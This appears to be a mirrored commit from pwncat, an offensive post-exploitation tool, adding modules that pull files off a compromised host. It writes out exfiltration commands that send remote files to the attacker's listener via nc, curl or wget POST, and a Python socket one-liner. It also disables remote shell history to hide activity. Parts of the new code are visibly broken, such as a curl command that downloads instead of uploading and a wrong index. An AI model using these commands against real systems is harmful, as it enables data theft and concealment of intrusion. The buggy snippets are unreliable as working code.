1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Initial framework for downloaders present

This commit is contained in:
Caleb Stewart 2020-05-07 14:51:18 -04:00
parent 4ca3151580
commit 5801895cba
8 changed files with 339 additions and 39 deletions

View File

@ -99,7 +99,7 @@ def main():
except ConnectionResetError: except ConnectionResetError:
handler.restore() handler.restore()
util.warn("connection reset by remote host") util.warn("connection reset by remote host")
else: finally:
# Restore the shell # Restore the shell
handler.restore() handler.restore()

View File

@ -0,0 +1,31 @@
#!/usr/bin/env python3
from pwncat.downloader.base import Downloader, DownloadError
from pwncat.downloader.nc import NetcatDownloader
from pwncat.downloader.curl import CurlDownloader
from pwncat.downloader.shell import ShellDownloader
all_downloaders = [NetcatDownloader, CurlDownloader, ShellDownloader]
downloaders = [NetcatDownloader, CurlDownloader]
fallback = ShellDownloader
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
""" Locate an applicable downloader """
if hint is not None:
""" Try to return the requested downloader """
for d in all_downloaders:
if d.NAME != hint:
continue
d.check(pty)
return d
for d in downloaders:
try:
d.check(pty)
return d
except DownloadError:
continue
raise DownloadError("no acceptable downloaders found")

150
pwncat/downloader/base.py Normal file
View File

@ -0,0 +1,150 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler
from functools import partial
import threading
from pwncat import util
class DownloadError(Exception):
""" An error occurred while attempting to run a downloader """
class Downloader:
# Binaries which are needed on the remote host for this downloader
BINARIES = []
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Check if the given PTY connection can support this downloader """
for binary in cls.BINARIES:
if pty.which(binary) is None:
raise DownloadError(f"required remote binary not found: {binary}")
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
self.pty = pty
self.local_path = local_path
self.remote_path = remote_path
def command(self) -> Generator[str, None, None]:
""" Generate the commands needed to send this file back. This is a
generator, which yields strings which will be executed on the remote
host. """
return
def serve(self, on_progress: Callable):
""" Start any servers on the local end which are needed to download the
content. """
return
def shutdown(self):
""" Shutdown any attacker servers that were started """
return
class HttpPostFileReceiver(BaseHTTPRequestHandler):
def __init__(self, request, addr, server, downloader: "HTTPDownloader"):
self.downloader = downloader
super(HttpPostFileReceiver, self).__init__(request, addr, server)
def do_POST(self):
""" handle http POST request """
if self.path != "/":
self.send_error(404)
return
self.send_response(200)
self.end_headers()
with open(self.downloader.local_path, "wb") as filp:
util.copyfileobj(self.rfile, filp, self.downloader.progress)
def log_message(self, *args, **kwargs):
return
class HTTPDownloader(Downloader):
""" Base class for HTTP POST based downloaders. This takes care of setting
up the local HTTP server and saving the file. Just provide the commands
for the remote host to trigger the upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise DownloadError("no lhost provided")
def __init__(
self,
pty: "pwncat.pty.PtyHandler",
remote_path: str,
local_path: str,
on_progress: Callable = None,
):
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
self.server = None
self.on_progress = on_progress
def serve(self, on_progress: Callable):
self.server = HTTPServer(
("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self)
)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
self.server.shutdown()
class RawDownloader(Downloader):
""" Base class for raw socket based downloaders. This takes care of setting
up the socket server and saving the file. Just provide the commands to
initiate the raw socket transfer on the remote host to trigger the
upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise DownloadError("no lhost provided")
def __init__(
self,
pty: "pwncat.pty.PtyHandler",
remote_path: str,
local_path: str,
on_progress: Callable = None,
):
super(RawDownloader, self).__init__(pty, remote_path, local_path)
self.server = None
self.on_progress = on_progress
def serve(self, on_progress: Callable):
# Make sure it is accessible to the subclass
local_path = self.local_path
# Class to handle incoming connections
class ReceiveFile(BaseRequestHandler):
def handle(self):
self.request.settimeout(1)
with open(local_path, "wb") as fp:
util.copyfileobj(self.request.makefile("rb"), fp, on_progress)
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
""" Shutdown the server """
self.server.shutdown()

20
pwncat/downloader/curl.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import HTTPDownloader, DownloadError
class CurlDownloader(HTTPDownloader):
BINARIES = ["curl"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[2]
curl = self.pty.which("curl")
remote_path = shlex.quote(self.remote_path)
yield f"{curl} --output {remote_path} http://{lhost}:{lport}"

20
pwncat/downloader/nc.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import RawDownloader, DownloadError
class NetcatDownloader(RawDownloader):
BINARIES = ["nc"]
def command(self) -> Generator[str, None, None]:
""" Return the commands needed to trigger this download """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[2]
nc = self.pty.which("nc")
remote_file = shlex.quote(self.remote_path)
yield f"{nc} {lhost} {lport} < {remote_file}"

View File

@ -0,0 +1,46 @@
#!/usr/bin/env python3
from typing import Generator, Callable
import base64
import shlex
from pwncat.downloader.base import Downloader, DownloadError
class ShellDownloader(Downloader):
NAME = "shell"
BINARIES = ["dd", "base64"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
with open(self.local_path, "wb") as filp:
blocknr = 0
copied = 0
while True:
# Read the data
x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
remote_path, self.BLOCKSZ, blocknr
)
if x == b"" or x == b"\r\n":
break
# Decode the data
data = base64.b64decode(x)
# Send the data and call the progress function
filp.write(data)
copied += data
self.on_progress(copied, len(data))
# Increment block number
blocknr += 1
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress

View File

@ -1,6 +1,7 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from prompt_toolkit import prompt from prompt_toolkit import prompt, PromptSession
from prompt_toolkit.shortcuts import ProgressBar from prompt_toolkit.shortcuts import ProgressBar
import subprocess
import logging import logging
import argparse import argparse
import base64 import base64
@ -60,13 +61,20 @@ class PtyHandler:
self.lhost = None self.lhost = None
self.known_binaries = {} self.known_binaries = {}
self.vars = {"lhost": None} self.vars = {"lhost": None}
self.prompt = PromptSession("localhost$ ")
# We should always get a response within 3 seconds...
self.client.settimeout(3)
# Ensure history is disabled # Ensure history is disabled
util.info("disabling remote command history", overlay=True) util.info("disabling remote command history", overlay=True)
client.sendall(b"unset HISTFILE\n") client.sendall(b"unset HISTFILE\n")
self.recvuntil(b"\n")
util.info("setting terminal prompt", overlay=True) util.info("setting terminal prompt", overlay=True)
client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n') client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')
self.recvuntil(b"\n")
self.recvuntil(b"\n")
# Locate interesting binaries # Locate interesting binaries
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES: for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
@ -99,6 +107,9 @@ class PtyHandler:
util.info(f"opening pseudoterminal via {method}", overlay=True) util.info(f"opening pseudoterminal via {method}", overlay=True)
client.sendall(method_cmd.encode("utf-8") + b"\n") client.sendall(method_cmd.encode("utf-8") + b"\n")
# Make sure HISTFILE is unset in this PTY
self.run("unset HISTFILE")
# Synchronize the terminals # Synchronize the terminals
util.info("synchronizing terminal state", overlay=True) util.info("synchronizing terminal state", overlay=True)
self.do_sync([]) self.do_sync([])
@ -159,27 +170,35 @@ class PtyHandler:
# Process commands # Process commands
while self.state is State.COMMAND: while self.state is State.COMMAND:
try: try:
line = prompt("localhost$ ") try:
except EOFError: line = self.prompt.prompt()
# The user pressed ctrl-d, go back except (EOFError, OSError):
self.enter_raw() # The user pressed ctrl-d, go back
self.enter_raw()
continue
if len(line) > 0 and line[0] == "!":
# Allow running shell commands
subprocess.run(line[1:], shell=True)
continue
argv = shlex.split(line)
# Empty command
if len(argv) == 0:
continue
try:
method = getattr(self, f"do_{argv[0]}")
except AttributeError:
util.warn(f"{argv[0]}: command does not exist")
continue
# Call the method
method(argv[1:])
except KeyboardInterrupt:
continue continue
argv = shlex.split(line)
# Empty command
if len(argv) == 0:
continue
try:
method = getattr(self, f"do_{argv[0]}")
except AttributeError:
util.warn(f"{argv[0]}: command does not exist")
continue
# Call the method
method(argv[1:])
def do_back(self, _): def do_back(self, _):
""" Exit command mode """ """ Exit command mode """
self.enter_raw(save=False) self.enter_raw(save=False)
@ -187,25 +206,29 @@ class PtyHandler:
def do_download(self, argv): def do_download(self, argv):
uploaders = { uploaders = {
"XXXXX": ( "curl": (
"http", "http",
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}", "{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
), ),
"XXXX": ( "XXXX": (
"http", "http",
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}", "{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
),
"nc": ("raw", "nc {lhost} {lport} < {remote_file}"),
"python": (
"raw",
"""{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""",
), ),
"nxc": ("raw", "nc {lhost} {lport} < {remote_file}"),
} }
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file} servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
parser = argparse.ArgumentParser(prog="upload") parser = argparse.ArgumentParser(prog="download")
parser.add_argument( parser.add_argument(
"--method", "--method",
"-m", "-m",
choices=uploaders.keys(), choices=uploaders.keys(),
default=None, default=None,
help="set the upload method (default: auto)", help="set the download method (default: auto)",
) )
parser.add_argument( parser.add_argument(
"--output", "--output",
@ -235,10 +258,11 @@ class PtyHandler:
if m in self.known_binaries: if m in self.known_binaries:
util.info(f"downloading via {m}") util.info(f"downloading via {m}")
method = info method = info
args.method = m
break break
else: else:
util.warn( util.warn(
"no available upload methods. falling back to dd/base64 method" "no available download methods. falling back to dd/base64 method"
) )
path = args.path path = args.path
@ -271,20 +295,23 @@ class PtyHandler:
server = servers[method[0]](outfile, name, progress=on_progress) server = servers[method[0]](outfile, name, progress=on_progress)
command = method[1].format( command = method[1].format(
cmd=self.known_binaries[args.method][0],
remote_file=shlex.quote(path), remote_file=shlex.quote(path),
lhost=self.vars["lhost"], lhost=self.vars["lhost"],
lfile=name, lfile=name,
lport=server.server_address[1], lport=server.server_address[1],
) )
print(command)
result = self.run(command, wait=False) result = self.run(command, wait=False)
else: else:
server = None server = None
path = shlex.quote(path)
with open(outfile, "wb") as fp: with open(outfile, "wb") as fp:
copied = 0 copied = 0
for chunk_nr in range(0, size, 8192): blocksz = 1024 * 10
for chunk_nr in range(0, size // blocksz):
# Send the command
encoded = self.run( encoded = self.run(
f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64" f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0",
) )
chunk = base64.b64decode(encoded) chunk = base64.b64decode(encoded)
fp.write(chunk) fp.write(chunk)
@ -466,15 +493,17 @@ class PtyHandler:
# This works by waiting for our known prompt # This works by waiting for our known prompt
self.recvuntil(b"(remote) ") self.recvuntil(b"(remote) ")
try: try:
# Read to the end of the prompt
self.recvuntil(b"$ ", socket.MSG_DONTWAIT) self.recvuntil(b"$ ", socket.MSG_DONTWAIT)
self.recvuntil(b"# ", socket.MSG_DONTWAIT)
except BlockingIOError: except BlockingIOError:
pass # The prompt may be "#"
try:
self.recvuntil(b"# ", socket.MSG_DONTWAIT)
except BlockingIOError:
pass
# Surround the output with known delimeters # Send the command to the remote host
# self.client.send(b"echo _OUTPUT_DELIM_START_\r")
self.client.send(cmd.encode("utf-8") + EOL) self.client.send(cmd.encode("utf-8") + EOL)
# self.client.send(b"echo -e '" + DELIM_ESCAPED + b"'\r")
# Initialize response buffer # Initialize response buffer
response = b"" response = b""

View File

@ -127,10 +127,14 @@ def enter_raw_mode():
sys.stdout.flush() sys.stdout.flush()
# Python doesn't provide a way to use setvbuf, so we reopen stdout # Python doesn't provide a way to use setvbuf, so we reopen stdout
# and specify no buffering # and specify no buffering. Duplicating stdin allows the user to press C-d
old_stdout = sys.stdout # at the local prompt, and still be able to return to the remote prompt.
try:
os.dup2(sys.stdin.fileno(), sys.stdout.fileno())
except OSError:
pass
sys.stdout = TextIOWrapper( sys.stdout = TextIOWrapper(
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0), os.fdopen(os.dup(sys.stdin.fileno()), "bw", buffering=0),
write_through=True, write_through=True,
line_buffering=False, line_buffering=False,
) )